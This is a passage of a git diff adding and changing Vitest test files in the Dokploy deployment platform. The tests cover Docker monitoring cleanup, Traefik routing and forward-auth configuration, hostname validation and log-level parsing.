await docker.getService(name).inspect();
|
||||
return true;
|
||||
} catch (error: any) {
|
||||
if (error.statusCode === 404) return false;
|
||||
throw error;
|
||||
}
|
||||
};
|
||||
|
||||
const swarmTaskNames = async () => {
|
||||
const list = await docker.listContainers({ all: true });
|
||||
return list
|
||||
.flatMap((c) => c.Names.map((n) => n.replace(/^\//, "")))
|
||||
.filter((n) => n.startsWith(`${SERVICE_NAME}.`));
|
||||
};
|
||||
|
||||
const cleanup = async () => {
|
||||
try {
|
||||
await docker.getService(SERVICE_NAME).remove();
|
||||
} catch {}
|
||||
try {
|
||||
await docker.getContainer(SERVICE_NAME).remove({ force: true });
|
||||
} catch {}
|
||||
for (const name of await swarmTaskNames()) {
|
||||
try {
|
||||
await docker.getContainer(name).remove({ force: true });
|
||||
} catch {}
|
||||
}
|
||||
};
|
||||
|
||||
// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop.
|
||||
const createLegacyZombie = async () => {
|
||||
const container = await docker.createContainer({
|
||||
name: SERVICE_NAME,
|
||||
Image: TEST_IMAGE,
|
||||
Cmd: [
|
||||
"sh",
|
||||
"-c",
|
||||
"echo 'Error starting metrics cleanup system: empty spec string'; exit 1",
|
||||
],
|
||||
HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" },
|
||||
});
|
||||
await container.start();
|
||||
};
|
||||
|
||||
const pullTestImage = async () => {
|
||||
try {
|
||||
await docker.getImage(TEST_IMAGE).inspect();
|
||||
return;
|
||||
} catch {}
|
||||
await new Promise<void>((resolve, reject) =>
|
||||
docker.pull(TEST_IMAGE, (err: any, stream: any) =>
|
||||
err
|
||||
? reject(err)
|
||||
: docker.modem.followProgress(stream, (e: any) =>
|
||||
e ? reject(e) : resolve(),
|
||||
),
|
||||
),
|
||||
);
|
||||
};
|
||||
|
||||
// The code under test hardcodes the production name, so this suite cannot
|
||||
// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host.
|
||||
const hasRealMonitoring = () => {
|
||||
const query = (cmd: string) => {
|
||||
try {
|
||||
return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] })
|
||||
.toString()
|
||||
.trim();
|
||||
} catch {
|
||||
return "";
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
query(
|
||||
`docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`,
|
||||
) !== "" ||
|
||||
query(
|
||||
`docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`,
|
||||
) !== ""
|
||||
);
|
||||
};
|
||||
|
||||
describe.skipIf(hasRealMonitoring())(
|
||||
"setupMonitoring - legacy container cleanup (real docker)",
|
||||
() => {
|
||||
beforeEach(async () => {
|
||||
await pullTestImage();
|
||||
await cleanup();
|
||||
}, REAL_TEST_TIMEOUT);
|
||||
|
||||
afterAll(async () => {
|
||||
await cleanup();
|
||||
}, REAL_TEST_TIMEOUT);
|
||||
|
||||
it(
|
||||
"removes the legacy standalone container left behind by the swarm migration",
|
||||
async () => {
|
||||
await createLegacyZombie();
|
||||
expect(await containerExists(SERVICE_NAME)).toBe(true);
|
||||
|
||||
await setupMonitoring("test-server");
|
||||
|
||||
expect(await containerExists(SERVICE_NAME)).toBe(false);
|
||||
expect(await serviceExists(SERVICE_NAME)).toBe(true);
|
||||
},
|
||||
REAL_TEST_TIMEOUT,
|
||||
);
|
||||
|
||||
it(
|
||||
"removes the legacy container without touching swarm tasks, which are named dokploy-monitoring.<slot>.<id>",
|
||||
async () => {
|
||||
const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`;
|
||||
const task = await docker.createContainer({
|
||||
name: taskName,
|
||||
Image: TEST_IMAGE,
|
||||
Cmd: ["sleep", "3600"],
|
||||
});
|
||||
await task.start();
|
||||
await createLegacyZombie();
|
||||
|
||||
await setupMonitoring("test-server");
|
||||
|
||||
expect(await containerExists(SERVICE_NAME)).toBe(false);
|
||||
expect(await containerExists(taskName)).toBe(true);
|
||||
const inspect = await docker.getContainer(taskName).inspect();
|
||||
expect(inspect.State.Running).toBe(true);
|
||||
},
|
||||
REAL_TEST_TIMEOUT,
|
||||
);
|
||||
|
||||
it(
|
||||
"is idempotent when no legacy container exists",
|
||||
async () => {
|
||||
expect(await containerExists(SERVICE_NAME)).toBe(false);
|
||||
|
||||
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
|
||||
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
|
||||
|
||||
expect(await serviceExists(SERVICE_NAME)).toBe(true);
|
||||
},
|
||||
REAL_TEST_TIMEOUT,
|
||||
);
|
||||
|
||||
it(
|
||||
"deploys the service even when removing the legacy container fails",
|
||||
async () => {
|
||||
const failingDocker = {
|
||||
getContainer: () => ({
|
||||
remove: async () => {
|
||||
const error: any = new Error("device or resource busy");
|
||||
error.statusCode = 500;
|
||||
throw error;
|
||||
},
|
||||
}),
|
||||
getService: docker.getService.bind(docker),
|
||||
createService: docker.createService.bind(docker),
|
||||
};
|
||||
|
||||
const remoteDocker = await import(
|
||||
"@dokploy/server/utils/servers/remote-docker"
|
||||
);
|
||||
const spy = vi
|
||||
.spyOn(remoteDocker, "getRemoteDocker")
|
||||
.mockResolvedValue(failingDocker as any);
|
||||
|
||||
try {
|
||||
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
|
||||
expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting
|
||||
expect(await serviceExists(SERVICE_NAME)).toBe(true);
|
||||
} finally {
|
||||
spy.mockRestore();
|
||||
}
|
||||
},
|
||||
REAL_TEST_TIMEOUT,
|
||||
);
|
||||
},
|
||||
);
|
||||
@ -494,4 +494,49 @@ describe("processTemplate", () => {
|
||||
expect(result.mounts).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isolated deployment config", () => {
|
||||
it("should default to isolated=true when not specified", () => {
|
||||
const template: CompleteTemplate = {
|
||||
metadata: {} as any,
|
||||
variables: {},
|
||||
config: {
|
||||
domains: [],
|
||||
env: {},
|
||||
},
|
||||
};
|
||||
|
||||
expect(template.config.isolated).toBeUndefined();
|
||||
// undefined !== false => isolatedDeployment = true
|
||||
expect(template.config.isolated !== false).toBe(true);
|
||||
});
|
||||
|
||||
it("should be isolated when isolated=true is explicitly set", () => {
|
||||
const template: CompleteTemplate = {
|
||||
metadata: {} as any,
|
||||
variables: {},
|
||||
config: {
|
||||
isolated: true,
|
||||
domains: [],
|
||||
env: {},
|
||||
},
|
||||
};
|
||||
|
||||
expect(template.config.isolated !== false).toBe(true);
|
||||
});
|
||||
|
||||
it("should disable isolated deployment when isolated=false", () => {
|
||||
const template: CompleteTemplate = {
|
||||
metadata: {} as any,
|
||||
variables: {},
|
||||
config: {
|
||||
isolated: false,
|
||||
domains: [],
|
||||
env: {},
|
||||
},
|
||||
};
|
||||
|
||||
expect(template.config.isolated !== false).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@ -30,9 +30,7 @@ describe("helpers functions", () => {
|
||||
const domain = processValue("${domain}", {}, mockSchema);
|
||||
expect(domain.startsWith(`${mockSchema.projectName}-`)).toBeTruthy();
|
||||
expect(
|
||||
domain.endsWith(
|
||||
`${mockSchema.serverIp.replaceAll(".", "-")}.traefik.me`,
|
||||
),
|
||||
domain.endsWith(`${mockSchema.serverIp.replaceAll(".", "-")}.sslip.io`),
|
||||
).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
234
apps/dokploy/__test__/traefik/forward-auth.test.ts
Normal file
234
apps/dokploy/__test__/traefik/forward-auth.test.ts
Normal file
@ -0,0 +1,234 @@
|
||||
import type { ApplicationNested, Domain } from "@dokploy/server";
|
||||
import {
|
||||
buildForwardAuthEnv,
|
||||
createRouterConfig,
|
||||
deriveBaseDomain,
|
||||
deriveCookieSecret,
|
||||
forwardAuthCallbackUrl,
|
||||
forwardAuthMiddlewareName,
|
||||
} from "@dokploy/server";
|
||||
import { beforeAll, describe, expect, test } from "vitest";
|
||||
|
||||
const app = {
|
||||
appName: "my-app",
|
||||
redirects: [],
|
||||
security: [],
|
||||
} as unknown as ApplicationNested;
|
||||
|
||||
const baseDomain: Domain = {
|
||||
applicationId: "app-1",
|
||||
certificateType: "none",
|
||||
createdAt: "",
|
||||
domainId: "domain-1",
|
||||
host: "app.example.com",
|
||||
https: false,
|
||||
path: null,
|
||||
port: 3000,
|
||||
customEntrypoint: null,
|
||||
serviceName: "",
|
||||
composeId: "",
|
||||
customCertResolver: null,
|
||||
domainType: "application",
|
||||
uniqueConfigKey: 7,
|
||||
previewDeploymentId: "",
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
describe("forwardAuthMiddlewareName", () => {
|
||||
test("is stable and unique per app + uniqueConfigKey", () => {
|
||||
expect(forwardAuthMiddlewareName("my-app", 7)).toBe(
|
||||
"forward-auth-my-app-7",
|
||||
);
|
||||
expect(forwardAuthMiddlewareName("my-app", 7)).toBe(
|
||||
forwardAuthMiddlewareName("my-app", 7),
|
||||
);
|
||||
expect(forwardAuthMiddlewareName("my-app", 7)).not.toBe(
|
||||
forwardAuthMiddlewareName("my-app", 8),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createRouterConfig forward-auth wiring", () => {
|
||||
test("does NOT add forward-auth middleware when no provider is linked", async () => {
|
||||
const config = await createRouterConfig(app, baseDomain, "websecure");
|
||||
expect(config.middlewares).not.toContain(
|
||||
forwardAuthMiddlewareName("my-app", 7),
|
||||
);
|
||||
});
|
||||
|
||||
test("adds forward-auth middleware when a provider is linked", async () => {
|
||||
const domain: Domain = {
|
||||
...baseDomain,
|
||||
forwardAuthEnabled: true,
|
||||
};
|
||||
const config = await createRouterConfig(app, domain, "websecure");
|
||||
expect(config.middlewares).toContain(
|
||||
forwardAuthMiddlewareName("my-app", 7),
|
||||
);
|
||||
});
|
||||
|
||||
test("forward-auth runs before custom domain middlewares", async () => {
|
||||
const domain: Domain = {
|
||||
...baseDomain,
|
||||
forwardAuthEnabled: true,
|
||||
middlewares: ["rate-limit@file"],
|
||||
};
|
||||
const config = await createRouterConfig(app, domain, "websecure");
|
||||
const forwardAuthIdx = config.middlewares?.indexOf(
|
||||
forwardAuthMiddlewareName("my-app", 7),
|
||||
);
|
||||
const customIdx = config.middlewares?.indexOf("rate-limit@file");
|
||||
expect(forwardAuthIdx).toBeGreaterThanOrEqual(0);
|
||||
expect(customIdx).toBeGreaterThan(forwardAuthIdx as number);
|
||||
});
|
||||
|
||||
test("redirect-only web router does not get the forward-auth middleware", async () => {
|
||||
const domain: Domain = {
|
||||
...baseDomain,
|
||||
https: true,
|
||||
forwardAuthEnabled: true,
|
||||
};
|
||||
const config = await createRouterConfig(app, domain, "web");
|
||||
expect(config.middlewares).toContain("redirect-to-https");
|
||||
expect(config.middlewares).not.toContain(
|
||||
forwardAuthMiddlewareName("my-app", 7),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildForwardAuthEnv", () => {
|
||||
const baseOptions = {
|
||||
oidc: {
|
||||
clientId: "client-123",
|
||||
clientSecret: "secret-xyz",
|
||||
issuer: "https://idp.example.com",
|
||||
},
|
||||
cookieSecret: "cookie-secret-value",
|
||||
authDomain: "auth.acme.com",
|
||||
baseDomain: ".acme.com",
|
||||
authDomainHttps: true,
|
||||
};
|
||||
|
||||
test("emits the required oauth2-proxy OIDC env vars", () => {
|
||||
const env = buildForwardAuthEnv(baseOptions);
|
||||
expect(env).toContain("OAUTH2_PROXY_PROVIDER=oidc");
|
||||
expect(env).toContain(
|
||||
"OAUTH2_PROXY_OIDC_ISSUER_URL=https://idp.example.com",
|
||||
);
|
||||
expect(env).toContain("OAUTH2_PROXY_CLIENT_ID=client-123");
|
||||
expect(env).toContain("OAUTH2_PROXY_CLIENT_SECRET=secret-xyz");
|
||||
expect(env).toContain("OAUTH2_PROXY_COOKIE_SECRET=cookie-secret-value");
|
||||
expect(env).toContain("OAUTH2_PROXY_REVERSE_PROXY=true");
|
||||
expect(env).toContain("OAUTH2_PROXY_HTTP_ADDRESS=0.0.0.0:4180");
|
||||
});
|
||||
|
||||
test("uses the central auth domain for the single fixed callback", () => {
|
||||
const env = buildForwardAuthEnv(baseOptions);
|
||||
expect(env).toContain(
|
||||
"OAUTH2_PROXY_REDIRECT_URL=https://auth.acme.com/oauth2/callback",
|
||||
);
|
||||
});
|
||||
|
||||
test("shares cookie + whitelist on the base domain (no per-app redeploy)", () => {
|
||||
const env = buildForwardAuthEnv(baseOptions);
|
||||
expect(env).toContain("OAUTH2_PROXY_COOKIE_DOMAINS=.acme.com");
|
||||
expect(env).toContain("OAUTH2_PROXY_WHITELIST_DOMAINS=.acme.com");
|
||||
});
|
||||
|
||||
test("matches cookie Secure flag and callback scheme to https setting", () => {
|
||||
const https = buildForwardAuthEnv(baseOptions);
|
||||
expect(https).toContain("OAUTH2_PROXY_COOKIE_SECURE=true");
|
||||
|
||||
const http = buildForwardAuthEnv({
|
||||
...baseOptions,
|
||||
authDomainHttps: false,
|
||||
});
|
||||
expect(http).toContain("OAUTH2_PROXY_COOKIE_SECURE=false");
|
||||
expect(http).toContain(
|
||||
"OAUTH2_PROXY_REDIRECT_URL=http://auth.acme.com/oauth2/callback",
|
||||
);
|
||||
});
|
||||
|
||||
test("allows unverified emails so OIDC providers don't 500 the callback", () => {
|
||||
const env = buildForwardAuthEnv(baseOptions);
|
||||
expect(env).toContain(
|
||||
"OAUTH2_PROXY_INSECURE_OIDC_ALLOW_UNVERIFIED_EMAIL=true",
|
||||
);
|
||||
});
|
||||
|
||||
test("defaults to any authenticated user and standard scopes", () => {
|
||||
const env = buildForwardAuthEnv(baseOptions);
|
||||
expect(env).toContain("OAUTH2_PROXY_EMAIL_DOMAINS=*");
|
||||
expect(env).toContain("OAUTH2_PROXY_SCOPE=openid email profile");
|
||||
});
|
||||
|
||||
test("honors custom scopes and email domains", () => {
|
||||
const env = buildForwardAuthEnv({
|
||||
...baseOptions,
|
||||
oidc: { ...baseOptions.oidc, scopes: ["openid", "groups"] },
|
||||
emailDomains: ["acme.com", "corp.com"],
|
||||
});
|
||||
expect(env).toContain("OAUTH2_PROXY_SCOPE=openid groups");
|
||||
expect(env).toContain("OAUTH2_PROXY_EMAIL_DOMAINS=acme.com,corp.com");
|
||||
});
|
||||
|
||||
test("sets skip-discovery flag only when requested", () => {
|
||||
const withoutSkip = buildForwardAuthEnv(baseOptions);
|
||||
expect(withoutSkip).not.toContain("OAUTH2_PROXY_SKIP_OIDC_DISCOVERY=true");
|
||||
|
||||
const withSkip = buildForwardAuthEnv({
|
||||
...baseOptions,
|
||||
oidc: { ...baseOptions.oidc, skipDiscovery: true },
|
||||
});
|
||||
expect(withSkip).toContain("OAUTH2_PROXY_SKIP_OIDC_DISCOVERY=true");
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveBaseDomain", () => {
|
||||
test("strips the auth subdomain to the shared base", () => {
|
||||
expect(deriveBaseDomain("auth.acme.com")).toBe(".acme.com");
|
||||
expect(deriveBaseDomain("sso.apps.acme.com")).toBe(".apps.acme.com");
|
||||
});
|
||||
|
||||
test("keeps a two-label apex as the base", () => {
|
||||
expect(deriveBaseDomain("acme.com")).toBe(".acme.com");
|
||||
});
|
||||
});
|
||||
|
||||
describe("forwardAuthCallbackUrl", () => {
|
||||
test("builds the single IdP callback per scheme", () => {
|
||||
expect(forwardAuthCallbackUrl("auth.acme.com", true)).toBe(
|
||||
"https://auth.acme.com/oauth2/callback",
|
||||
);
|
||||
expect(forwardAuthCallbackUrl("auth.acme.com", false)).toBe(
|
||||
"http://auth.acme.com/oauth2/callback",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveCookieSecret", () => {
|
||||
beforeAll(() => {
|
||||
process.env.BETTER_AUTH_SECRET = "test-root-secret";
|
||||
});
|
||||
|
||||
test("is deterministic for the same salt (survives service updates)", () => {
|
||||
expect(deriveCookieSecret(".acme.com")).toBe(
|
||||
deriveCookieSecret(".acme.com"),
|
||||
);
|
||||
});
|
||||
|
||||
test("differs per salt", () => {
|
||||
expect(deriveCookieSecret(".acme.com")).not.toBe(
|
||||
deriveCookieSecret(".other.com"),
|
||||
);
|
||||
});
|
||||
|
||||
test("produces a 16-byte hex secret (oauth2-proxy requirement)", () => {
|
||||
const secret = deriveCookieSecret(".acme.com");
|
||||
expect(Buffer.from(secret, "hex")).toHaveLength(16);
|
||||
});
|
||||
});
|
||||
71
apps/dokploy/__test__/traefik/reconnect-services.test.ts
Normal file
71
apps/dokploy/__test__/traefik/reconnect-services.test.ts
Normal file
@ -0,0 +1,71 @@
|
||||
import { reconnectServicesToTraefik } from "@dokploy/server/services/settings";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
findMany: vi.fn(),
|
||||
execAsync: vi.fn(),
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
compose: {
|
||||
findMany: mocks.findMany,
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
|
||||
execAsync: mocks.execAsync,
|
||||
execAsyncRemote: mocks.execAsyncRemote,
|
||||
}));
|
||||
|
||||
describe("reconnectServicesToTraefik", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.findMany.mockResolvedValue([]);
|
||||
});
|
||||
|
||||
it("does not execute an empty local command when no isolated deployments exist", async () => {
|
||||
await reconnectServicesToTraefik();
|
||||
|
||||
expect(mocks.execAsync).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not execute an empty remote command when no isolated deployments exist", async () => {
|
||||
await reconnectServicesToTraefik("server-id");
|
||||
|
||||
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reconnects isolated deployments to the local Traefik network", async () => {
|
||||
mocks.findMany.mockResolvedValue([
|
||||
{ appName: "first-compose" },
|
||||
{ appName: "second-compose" },
|
||||
]);
|
||||
|
||||
await reconnectServicesToTraefik();
|
||||
|
||||
expect(mocks.execAsync).toHaveBeenCalledOnce();
|
||||
expect(mocks.execAsync).toHaveBeenCalledWith(
|
||||
'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' +
|
||||
'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
|
||||
);
|
||||
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reconnects isolated deployments on a remote server", async () => {
|
||||
mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]);
|
||||
|
||||
await reconnectServicesToTraefik("server-id");
|
||||
|
||||
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
|
||||
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
|
||||
"server-id",
|
||||
'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
|
||||
);
|
||||
expect(mocks.execAsync).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@ -25,6 +25,7 @@ const baseSettings: WebServerSettings = {
|
||||
letsEncryptEmail: null,
|
||||
sshPrivateKey: null,
|
||||
enableDockerCleanup: false,
|
||||
buildsConcurrency: 1,
|
||||
logCleanupCron: null,
|
||||
metricsConfig: {
|
||||
containers: {
|
||||
@ -65,6 +66,8 @@ const baseSettings: WebServerSettings = {
|
||||
cleanupCacheApplications: false,
|
||||
cleanupCacheOnCompose: false,
|
||||
cleanupCacheOnPreviews: false,
|
||||
remoteServersOnly: false,
|
||||
enforceSSO: false,
|
||||
createdAt: null,
|
||||
updatedAt: new Date(),
|
||||
};
|
||||
|
||||
@ -7,6 +7,8 @@ const baseApp: ApplicationNested = {
|
||||
rollbackActive: false,
|
||||
applicationId: "",
|
||||
previewLabels: [],
|
||||
networkIds: [],
|
||||
detachDokployNetwork: false,
|
||||
createEnvFile: true,
|
||||
bitbucketRepositorySlug: "",
|
||||
herokuVersion: "",
|
||||
@ -148,6 +150,8 @@ const baseDomain: Domain = {
|
||||
internalPath: "/",
|
||||
stripPath: false,
|
||||
middlewares: null,
|
||||
forwardAuthEnabled: false,
|
||||
enabled: true,
|
||||
};
|
||||
|
||||
const baseRedirect: Redirect = {
|
||||
@ -424,6 +428,26 @@ test("Custom entrypoint with internalPath adds addprefix middleware", async () =
|
||||
expect(router.entryPoints).toEqual(["custom"]);
|
||||
});
|
||||
|
||||
test("stripPath and internalPath together: stripprefix must come before addprefix", async () => {
|
||||
const router = await createRouterConfig(
|
||||
baseApp,
|
||||
{
|
||||
...baseDomain,
|
||||
path: "/public",
|
||||
stripPath: true,
|
||||
internalPath: "/app/v2",
|
||||
},
|
||||
"web",
|
||||
);
|
||||
|
||||
const stripIndex = router.middlewares?.indexOf("stripprefix--1") ?? -1;
|
||||
const addIndex = router.middlewares?.indexOf("addprefix--1") ?? -1;
|
||||
|
||||
expect(stripIndex).toBeGreaterThanOrEqual(0);
|
||||
expect(addIndex).toBeGreaterThanOrEqual(0);
|
||||
expect(stripIndex).toBeLessThan(addIndex);
|
||||
});
|
||||
|
||||
test("Custom entrypoint with https and custom cert resolver", async () => {
|
||||
const router = await createRouterConfig(
|
||||
baseApp,
|
||||
|
||||
116
apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts
Normal file
116
apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts
Normal file
@ -0,0 +1,116 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsyncRemote: mocks.execAsyncRemote,
|
||||
};
|
||||
});
|
||||
|
||||
describe("writeAppTraefikConfig", () => {
|
||||
let cwd: string;
|
||||
let dynamicPath: string;
|
||||
|
||||
beforeEach(() => {
|
||||
cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-"));
|
||||
dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic");
|
||||
fs.mkdirSync(dynamicPath, { recursive: true });
|
||||
vi.spyOn(process, "cwd").mockReturnValue(cwd);
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
fs.rmSync(cwd, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
// Regression test for #5189: Traefik's file provider rejects a standalone
|
||||
// `routers: {}` / `services: {}` map and aborts its watcher for every
|
||||
// dynamic config once it hits one, so an app with no domains must never
|
||||
// get an on-disk config file at all.
|
||||
it("removes the file instead of writing empty routers/services", async () => {
|
||||
const appName = "no-domain-app";
|
||||
const configPath = path.join(dynamicPath, `${appName}.yml`);
|
||||
fs.writeFileSync(configPath, "stale content", "utf8");
|
||||
|
||||
await writeAppTraefikConfig(
|
||||
{ http: { routers: {}, services: {} } },
|
||||
appName,
|
||||
);
|
||||
|
||||
expect(fs.existsSync(configPath)).toBe(false);
|
||||
});
|
||||
|
||||
it("writes the file when routers/services are present", async () => {
|
||||
const appName = "with-domain-app";
|
||||
const configPath = path.join(dynamicPath, `${appName}.yml`);
|
||||
|
||||
await writeAppTraefikConfig(
|
||||
{
|
||||
http: {
|
||||
routers: {
|
||||
[`${appName}-router-1`]: {
|
||||
rule: "Host(`x`)",
|
||||
service: `${appName}-service`,
|
||||
},
|
||||
},
|
||||
services: {},
|
||||
},
|
||||
},
|
||||
appName,
|
||||
);
|
||||
|
||||
expect(fs.existsSync(configPath)).toBe(true);
|
||||
});
|
||||
|
||||
it("removes the remote file instead of writing empty routers/services", async () => {
|
||||
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
|
||||
await writeAppTraefikConfig(
|
||||
{ http: { routers: {}, services: {} } },
|
||||
"no-domain-app",
|
||||
"server-id",
|
||||
);
|
||||
|
||||
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
|
||||
const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
|
||||
expect(command).toMatch(/^rm -f /);
|
||||
expect(command).toContain("no-domain-app.yml");
|
||||
});
|
||||
|
||||
it("writes the remote file when routers/services are present", async () => {
|
||||
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
|
||||
await writeAppTraefikConfig(
|
||||
{
|
||||
http: {
|
||||
routers: {
|
||||
"with-domain-app-router-1": {
|
||||
rule: "Host(`x`)",
|
||||
service: "with-domain-app-service",
|
||||
},
|
||||
},
|
||||
services: {},
|
||||
},
|
||||
},
|
||||
"with-domain-app",
|
||||
"server-id",
|
||||
);
|
||||
|
||||
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
|
||||
const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
|
||||
expect(command).toMatch(/^echo /);
|
||||
});
|
||||
});
|
||||
48
apps/dokploy/__test__/utils/hostname-validation.test.ts
Normal file
48
apps/dokploy/__test__/utils/hostname-validation.test.ts
Normal file
@ -0,0 +1,48 @@
|
||||
import { VALID_HOSTNAME_REGEX } from "@dokploy/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("VALID_HOSTNAME_REGEX", () => {
|
||||
it.each([
|
||||
"example.com",
|
||||
"sub.example.com",
|
||||
"bbn-client.example.com",
|
||||
"a.b.c.example.co",
|
||||
"xn--80ak6aa92e.com",
|
||||
"123.example.com",
|
||||
"example",
|
||||
"dokploy-server",
|
||||
"localhost",
|
||||
])("accepts valid hostname %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
|
||||
});
|
||||
|
||||
it.each([
|
||||
"bbn_client.example.com",
|
||||
"-example.com",
|
||||
"example-.com",
|
||||
"exa mple.com",
|
||||
"example..com",
|
||||
"",
|
||||
`a${"a".repeat(63)}.com`,
|
||||
])("rejects invalid hostname %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
|
||||
});
|
||||
|
||||
// IDNs (Cyrillic, German umlauts, etc.) must be submitted in their
|
||||
// ACME/punycode form ("xn--...") — that's what Let's Encrypt issues
|
||||
// certificates for, so raw Unicode labels are rejected here.
|
||||
it.each(["пример.рф", "bücher.de", "日本語.jp"])(
|
||||
"rejects raw unicode IDN %s",
|
||||
(host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(false);
|
||||
},
|
||||
);
|
||||
|
||||
it.each([
|
||||
"xn--e1afmkfd.xn--p1ai", // punycode for пример.рф
|
||||
"xn--bcher-kva.de", // punycode for bücher.de
|
||||
"xn--wgv71a119e.jp", // punycode for 日本語.jp
|
||||
])("accepts punycode-encoded IDN %s", (host) => {
|
||||
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
|
||||
});
|
||||
});
|
||||
108
apps/dokploy/__test__/utils/log-type.test.ts
Normal file
108
apps/dokploy/__test__/utils/log-type.test.ts
Normal file
@ -0,0 +1,108 @@
|
||||
import { describe, expect, test } from "vitest";
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
|
||||
describe("getLogType", () => {
|
||||
describe("explicit level declared by structured loggers", () => {
|
||||
test("JSON string levels (pino, winston, zap)", () => {
|
||||
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("JSON numeric levels (pino, bunyan)", () => {
|
||||
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
|
||||
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
|
||||
});
|
||||
|
||||
test("syslog/GELF numeric levels", () => {
|
||||
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
|
||||
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
|
||||
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
|
||||
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
|
||||
});
|
||||
|
||||
test("GCP-style severity and ECS log.level", () => {
|
||||
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
|
||||
"warning",
|
||||
);
|
||||
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
|
||||
"error",
|
||||
);
|
||||
});
|
||||
|
||||
test("logfmt levels", () => {
|
||||
expect(
|
||||
